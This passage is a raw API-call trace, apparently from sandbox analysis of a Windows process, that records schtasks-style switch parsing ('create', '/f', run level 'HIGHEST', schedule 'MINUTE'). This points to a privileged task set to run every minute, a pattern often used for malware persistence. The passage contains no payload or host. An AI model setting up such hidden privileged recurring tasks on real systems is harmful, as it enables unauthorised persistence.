StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0060.547] SetLastError (dwErrCode=0x490) [0060.547] lstrlenW (lpString="xml") returned 3 [0060.547] lstrlenW (lpString="xml") returned 3 [0060.548] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] lstrlenW (lpString="rl") returned 2 [0060.548] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|xml|") returned 5 [0060.548] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.548] lstrlenW (lpString="|xml|") returned 5 [0060.548] lstrlenW (lpString="|rl|") returned 4 [0060.548] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0060.548] SetLastError (dwErrCode=0x490) [0060.548] lstrlenW (lpString="ec") returned 2 [0060.548] lstrlenW (lpString="ec") returned 2 [0060.548] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] lstrlenW (lpString="rl") returned 2 [0060.548] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ec|") returned 4 [0060.548] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.548] lstrlenW (lpString="|ec|") returned 4 [0060.548] lstrlenW (lpString="|rl|") returned 4 [0060.548] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0060.548] SetLastError (dwErrCode=0x490) [0060.548] lstrlenW (lpString="rl") returned 2 [0060.548] lstrlenW (lpString="rl") returned 2 [0060.548] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] lstrlenW (lpString="rl") returned 2 [0060.548] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.548] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.548] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rl|") returned 4 [0060.548] lstrlenW (lpString="|rl|") returned 4 [0060.548] lstrlenW (lpString="|rl|") returned 4 [0060.548] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0060.549] SetLastError (dwErrCode=0x0) [0060.549] SetLastError (dwErrCode=0x0) [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] lstrlenW (lpString="-/") returned 2 [0060.549] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0060.549] SetLastError (dwErrCode=0x490) [0060.549] SetLastError (dwErrCode=0x490) [0060.549] SetLastError (dwErrCode=0x0) [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0060.549] SetLastError (dwErrCode=0x490) [0060.549] SetLastError (dwErrCode=0x0) [0060.549] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] lstrlenW (lpString=" \x09") returned 2 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0060.549] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0060.549] GetLastError () returned 0x0 [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] lstrlenW (lpString="HIGHEST") returned 7 [0060.549] SetLastError (dwErrCode=0x0) [0060.549] SetLastError (dwErrCode=0x0) [0060.549] lstrlenW (lpString="/f") returned 2 [0060.549] lstrlenW (lpString="-/") returned 2 [0060.549] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.550] lstrlenW (lpString="create") returned 6 [0060.550] lstrlenW (lpString="create") returned 6 [0060.550] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] lstrlenW (lpString="f") returned 1 [0060.550] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.550] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.550] lstrlenW (lpString="|create|") returned 8 [0060.550] lstrlenW (lpString="|f|") returned 3 [0060.550] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0060.550] SetLastError (dwErrCode=0x490) [0060.550] lstrlenW (lpString="?") returned 1 [0060.550] lstrlenW (lpString="?") returned 1 [0060.550] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] lstrlenW (lpString="f") returned 1 [0060.550] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.550] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.550] lstrlenW (lpString="|?|") returned 3 [0060.550] lstrlenW (lpString="|f|") returned 3 [0060.550] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0060.550] SetLastError (dwErrCode=0x490) [0060.550] lstrlenW (lpString="s") returned 1 [0060.550] lstrlenW (lpString="s") returned 1 [0060.550] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] lstrlenW (lpString="f") returned 1 [0060.550] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.550] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.551] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.551] lstrlenW (lpString="|s|") returned 3 [0060.551] lstrlenW (lpString="|f|") returned 3 [0060.551] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0060.551] SetLastError (dwErrCode=0x490) [0060.551] lstrlenW (lpString="u") returned 1 [0060.551] lstrlenW (lpString="u") returned 1 [0060.551] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.551] lstrlenW (lpString="f") returned 1 [0060.551] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.551] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.551] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.551] lstrlenW (lpString="|u|") returned 3 [0060.551] lstrlenW (lpString="|f|") returned 3 [0060.551] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0060.551] SetLastError (dwErrCode=0x490) [0060.551] lstrlenW (lpString="p") returned 1 [0060.551] lstrlenW (lpString="p") returned 1 [0060.551] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.551] lstrlenW (lpString="f") returned 1 [0060.551] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.552] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.552] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.552] lstrlenW (lpString="|p|") returned 3 [0060.552] lstrlenW (lpString="|f|") returned 3 [0060.552] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0060.552] SetLastError (dwErrCode=0x490) [0060.552] lstrlenW (lpString="ru") returned 2 [0060.552] lstrlenW (lpString="ru") returned 2 [0060.552] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.552] lstrlenW (lpString="f") returned 1 [0060.552] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.552] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.552] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.552] lstrlenW (lpString="|ru|") returned 4 [0060.552] lstrlenW (lpString="|f|") returned 3 [0060.552] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0060.552] SetLastError (dwErrCode=0x490) [0060.552] lstrlenW (lpString="rp") returned 2 [0060.552] lstrlenW (lpString="rp") returned 2 [0060.552] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.552] lstrlenW (lpString="f") returned 1 [0060.552] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.552] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.552] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.552] lstrlenW (lpString="|rp|") returned 4 [0060.552] lstrlenW (lpString="|f|") returned 3 [0060.552] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0060.553] SetLastError (dwErrCode=0x490) [0060.553] lstrlenW (lpString="sc") returned 2 [0060.553] lstrlenW (lpString="sc") returned 2 [0060.553] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] lstrlenW (lpString="f") returned 1 [0060.553] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.553] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.553] lstrlenW (lpString="|sc|") returned 4 [0060.553] lstrlenW (lpString="|f|") returned 3 [0060.553] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0060.553] SetLastError (dwErrCode=0x490) [0060.553] lstrlenW (lpString="mo") returned 2 [0060.553] lstrlenW (lpString="mo") returned 2 [0060.553] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] lstrlenW (lpString="f") returned 1 [0060.553] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.553] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.553] lstrlenW (lpString="|mo|") returned 4 [0060.553] lstrlenW (lpString="|f|") returned 3 [0060.553] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0060.553] SetLastError (dwErrCode=0x490) [0060.553] lstrlenW (lpString="d") returned 1 [0060.553] lstrlenW (lpString="d") returned 1 [0060.553] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] lstrlenW (lpString="f") returned 1 [0060.553] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.553] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|d|") returned 3 [0060.553] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.553] lstrlenW (lpString="|d|") returned 3 [0060.553] lstrlenW (lpString="|f|") returned 3 [0060.554] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0060.554] SetLastError (dwErrCode=0x490) [0060.554] lstrlenW (lpString="m") returned 1 [0060.554] lstrlenW (lpString="m") returned 1 [0060.554] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] lstrlenW (lpString="f") returned 1 [0060.554] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|m|") returned 3 [0060.554] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.554] lstrlenW (lpString="|m|") returned 3 [0060.554] lstrlenW (lpString="|f|") returned 3 [0060.554] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0060.554] SetLastError (dwErrCode=0x490) [0060.554] lstrlenW (lpString="i") returned 1 [0060.554] lstrlenW (lpString="i") returned 1 [0060.554] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] lstrlenW (lpString="f") returned 1 [0060.554] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|i|") returned 3 [0060.554] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.554] lstrlenW (lpString="|i|") returned 3 [0060.554] lstrlenW (lpString="|f|") returned 3 [0060.554] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0060.554] SetLastError (dwErrCode=0x490) [0060.554] lstrlenW (lpString="tn") returned 2 [0060.554] lstrlenW (lpString="tn") returned 2 [0060.554] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] lstrlenW (lpString="f") returned 1 [0060.554] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.554] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.554] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.554] lstrlenW (lpString="|tn|") returned 4 [0060.555] lstrlenW (lpString="|f|") returned 3 [0060.555] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0060.555] SetLastError (dwErrCode=0x490) [0060.555] lstrlenW (lpString="tr") returned 2 [0060.555] lstrlenW (lpString="tr") returned 2 [0060.555] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] lstrlenW (lpString="f") returned 1 [0060.555] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.555] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.555] lstrlenW (lpString="|tr|") returned 4 [0060.555] lstrlenW (lpString="|f|") returned 3 [0060.555] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0060.555] SetLastError (dwErrCode=0x490) [0060.555] lstrlenW (lpString="st") returned 2 [0060.555] lstrlenW (lpString="st") returned 2 [0060.555] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] lstrlenW (lpString="f") returned 1 [0060.555] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|st|") returned 4 [0060.555] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.555] lstrlenW (lpString="|st|") returned 4 [0060.555] lstrlenW (lpString="|f|") returned 3 [0060.555] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0060.555] SetLastError (dwErrCode=0x490) [0060.555] lstrlenW (lpString="sd") returned 2 [0060.555] lstrlenW (lpString="sd") returned 2 [0060.555] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] lstrlenW (lpString="f") returned 1 [0060.555] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.555] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sd|") returned 4 [0060.555] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.556] lstrlenW (lpString="|sd|") returned 4 [0060.556] lstrlenW (lpString="|f|") returned 3 [0060.556] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0060.556] SetLastError (dwErrCode=0x490) [0060.556] lstrlenW (lpString="ed") returned 2 [0060.556] lstrlenW (lpString="ed") returned 2 [0060.556] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.556] lstrlenW (lpString="f") returned 1 [0060.556] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.556] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ed|") returned 4 [0060.556] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.556] lstrlenW (lpString="|ed|") returned 4 [0060.556] lstrlenW (lpString="|f|") returned 3 [0060.556] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0060.556] SetLastError (dwErrCode=0x490) [0060.556] lstrlenW (lpString="it") returned 2 [0060.556] lstrlenW (lpString="it") returned 2 [0060.556] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.556] lstrlenW (lpString="f") returned 1 [0060.556] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.556] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|it|") returned 4 [0060.556] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.556] lstrlenW (lpString="|it|") returned 4 [0060.556] lstrlenW (lpString="|f|") returned 3 [0060.556] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0060.556] SetLastError (dwErrCode=0x490) [0060.556] lstrlenW (lpString="et") returned 2 [0060.556] lstrlenW (lpString="et") returned 2 [0060.556] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.556] lstrlenW (lpString="f") returned 1 [0060.556] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|et|") returned 4 [0060.557] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.557] lstrlenW (lpString="|et|") returned 4 [0060.557] lstrlenW (lpString="|f|") returned 3 [0060.557] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0060.557] SetLastError (dwErrCode=0x490) [0060.557] lstrlenW (lpString="k") returned 1 [0060.557] lstrlenW (lpString="k") returned 1 [0060.557] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] lstrlenW (lpString="f") returned 1 [0060.557] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|k|") returned 3 [0060.557] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.557] lstrlenW (lpString="|k|") returned 3 [0060.557] lstrlenW (lpString="|f|") returned 3 [0060.557] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0060.557] SetLastError (dwErrCode=0x490) [0060.557] lstrlenW (lpString="du") returned 2 [0060.557] lstrlenW (lpString="du") returned 2 [0060.557] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] lstrlenW (lpString="f") returned 1 [0060.557] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|du|") returned 4 [0060.557] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.557] lstrlenW (lpString="|du|") returned 4 [0060.557] lstrlenW (lpString="|f|") returned 3 [0060.557] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0060.557] SetLastError (dwErrCode=0x490) [0060.557] lstrlenW (lpString="ri") returned 2 [0060.557] lstrlenW (lpString="ri") returned 2 [0060.557] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.557] lstrlenW (lpString="f") returned 1 [0060.558] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.558] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ri|") returned 4 [0060.558] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.558] lstrlenW (lpString="|ri|") returned 4 [0060.558] lstrlenW (lpString="|f|") returned 3 [0060.558] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0060.558] SetLastError (dwErrCode=0x490) [0060.558] lstrlenW (lpString="z") returned 1 [0060.558] lstrlenW (lpString="z") returned 1 [0060.558] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.558] lstrlenW (lpString="f") returned 1 [0060.558] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.558] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|z|") returned 3 [0060.558] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.558] lstrlenW (lpString="|z|") returned 3 [0060.558] lstrlenW (lpString="|f|") returned 3 [0060.558] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0060.558] SetLastError (dwErrCode=0x490) [0060.558] lstrlenW (lpString="f") returned 1 [0060.558] lstrlenW (lpString="f") returned 1 [0060.558] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.558] lstrlenW (lpString="f") returned 1 [0060.558] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.558] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.558] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|f|") returned 3 [0060.558] lstrlenW (lpString="|f|") returned 3 [0060.558] lstrlenW (lpString="|f|") returned 3 [0060.558] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0060.558] SetLastError (dwErrCode=0x0) [0060.558] SetLastError (dwErrCode=0x0) [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf10 [0060.559] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.559] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0060.559] lstrlenW (lpString="LIMITED") returned 7 [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d700 [0060.559] GetThreadLocale () returned 0x409 [0060.559] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cee0 [0060.559] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.559] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0060.559] lstrlenW (lpString="HIGHEST") returned 7 [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x10) returned 0x21d720 [0060.559] GetThreadLocale () returned 0x409 [0060.559] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ceb0 [0060.559] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.559] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0060.559] lstrlenW (lpString="MINUTE") returned 6 [0060.559] GetProcessHeap () returned 0x200000 [0060.559] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d740 [0060.560] GetThreadLocale () returned 0x409 [0060.560] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0060.560] SetLastError (dwErrCode=0x0) [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x1fc) returned 0x21c4f0 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce80 [0060.560] _memicmp (_Buf1=0x21bc30, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.560] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0060.560] lstrlenW (lpString="First") returned 5 [0060.560] GetProcessHeap () returned 0x200000 [0060.560] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xc) returned 0x21d760 [0060.560] GetProcessHeap () returned 